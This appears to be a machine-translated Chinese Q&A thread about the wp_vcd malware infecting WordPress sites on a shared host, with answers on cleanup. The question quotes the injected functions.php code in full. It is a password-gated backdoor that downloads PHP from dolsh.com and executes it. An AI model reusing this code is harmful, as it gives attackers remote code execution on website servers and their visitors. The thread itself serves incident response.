我共享主机上所有wordpress网站的functions.php中的PHP代码

时间:2017-09-14 12:32:13

标签: php wordpress

我有一个共享主机和一些wordpress网站。 最近有时当我访问我的网站时,弹出窗口打开。 所以我在Cpanel中打开了一个wordpress网站的模板目录。此代码已添加到functions.php文件:

之上
<?php

if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '220c580cc80d7d449f04533fc8f68c79'))
    {
    $div_code_name = "wp_vcd";
    switch ($_REQUEST['action'])
        {
    case 'change_domain';
    if (isset($_REQUEST['newdomain']))
        {
        if (!empty($_REQUEST['newdomain']))
            {
            if ($file = @file_get_contents(__FILE__))
                {
                if (preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code9\.php/i', $file, $matcholddomain))
                    {
                    $file = preg_replace('/' . $matcholddomain[1][0] . '/i', $_REQUEST['newdomain'], $file);
                    @file_put_contents(__FILE__, $file);
                    print "true";
                    }
                }
            }
        }

    break;

default:
    print "ERROR_WP_ACTION WP_V_CD WP_CD";
    }

die("");
}

if (!function_exists('theme_temp_setup'))
    {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (!is_404() && stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false)
        {
        if ($tmpcontent = @file_get_contents("http://www.dolsh.com/code9.php?i=" . $path))
            {
            function theme_temp_setup($phpCode)
                {
                $tmpfname = tempnam(sys_get_temp_dir() , "theme_temp_setup");
                $handle = fopen($tmpfname, "w+");
                fwrite($handle, "<?php\n" . $phpCode);
                fclose($handle);
                include $tmpfname;

                unlink($tmpfname);
                return get_defined_vars();
                }

            extract(theme_temp_setup($tmpcontent));
            }
        }
    }

?>

所以我发现了这个问题,弹出问题解决了。我从所有网站的functions.php文件中删除了但是 现在的问题是,当我访问任何网站的functions.php时,代码再次存在,并且它在所有主题中都是未使用过的主题。 我该怎么办?

我为解决问题做了什么

  1. wp-include目录中,删除wp-vcd.phpclass.wp.php 文件
  2. wp-include目录中,打开post.php并检测第一个php标记 由Malware添加。
  3. 打开主题的functions.php文件,然后删除上述代码。
  4. 这应该会停止弹出窗口。但我现在还不知道它有多长时间。

    我仍然没有找到感染所有网站的主文件,但却想找出答案。

4 个答案:

答案 0 :(得分:5)

我知道这个答案很晚,但我会分享我的经验,以帮助任何有这个问题的人。 这个问题的原因可能是你从wordpress.org外部下载的插件,或者某些机构可以访问你的wordpress管理员帐户,你还没有关闭editor.php的外观标签或者黑客有你的ftp用户和密码要么 ... 解决此问题首先创建一个完整备份并将其保存在您的计算机中,以防出现任何错误,然后:

  1. 转到wordpress网站的主题目录并删除所有未使用的主题,因为它们已被感染。
  2. 在活动主题中
  3. 编辑您的functions.php文件并删除恶意软件插入的所有额外代码。你可以搜索&#34; wp_vcd&#34;或&#34; wp-tmp&#34;单词来查找代码。
  4. 下载最新的wordpress安装。然后删除wp-include和wp-admin文件夹以及public_html中除wp-content文件夹和.htaccess文件以及wp-config.php文件之外的所有文件。之后用已下载的wordpress替换已删除的文件和文件夹。
  5. 删除您从已知来源下载的所有插件。
  6. 最后更改所有密码,如ftp,管理面板,cpanel或直接管理员......如果黑客在某处保存了您的信息。 希望这个小指南可以帮助别人。

答案 1 :(得分:2)

显然,您的网站已遭到入侵(黑客入侵)。 您可以联系您的托管服务提供商,他们可能(当然)不会帮助您。 您可以联系网站安全公司,我使用sucuri.net。 如果你想自己清理它,有两个选项

  • 删除所有网站并重新安装所有网站,包括数据库!
  • 如果你无法重新安装所有内容,那么你必须检查每个脚本的脚本以找到“怪异的”#34;代码并清理它。如果您发现一些重复的关键字(例如显示您的代码的code9,您可以查找此内容,但有时候可能会code9,有时候会有不同的名称。
  • 尽可能多地更新插件,模板,当然还有wordpress版本。

答案 2 :(得分:0)

无需进行大量此类更改,只需完成以下两个步骤>>

1>仪表板>更新>“立即重新安装”
这将重新安装最新版本的WordPress,覆盖受感染的wp核心文件。

2>现在,在编辑器中打开theme functions.php文件,并删除恶意代码段并点击保存。

全部完成!这次它将接受文件更改,以从functions.php文件中删除受感染的代码。

答案 3 :(得分:0)

临时修复是为了删除该黑客代码,并使您的functions.php为只读(chmod 444 functions.php),您也可以从cPanel中执行此操作。之后该站点就可以了。请注意,它仅不影响当前主题,它会影响主题目录中的所有主题。对所有主题中的所有functions.php都一样。将站点下载到本地,然后在文件中查找关键字wp_vcd。如果您的系统免费版本中有WordFence安全插件,这也会很有帮助,因为它也包含在其日志中。感染文件列表。

//FILES TO REMOVE
wp-includes/wp-vcd.php

wp-includes/wp-tmp.php

wp-includes/wp-feed.php
wp-content/themes/yourtheme/wp-tmp.php


// FILES TO CORRECT
    wp-content/themes/yourtheme/functions.php

    wp-content/themes/yourtheme-child/functions.php

    wp-content/themes/twentynineteen/functions.php

    wp-content/themes/twentysixteen/functions.php

    wp-content/themes/twentyseventeen/functions.php

    wp-includes/post.php

将有更多文件WordFence日志将帮助您在该关键字搜索中找到该文件。

如果您可以访问您的后端,则请尽快安装WordFense安全插件并查找其扫描报告。它将显示已修改或新创建的文件。删除/修复文件后,再次从WordFence进行扫描以确认。

  

请验证服务器上的文件/文件夹权限。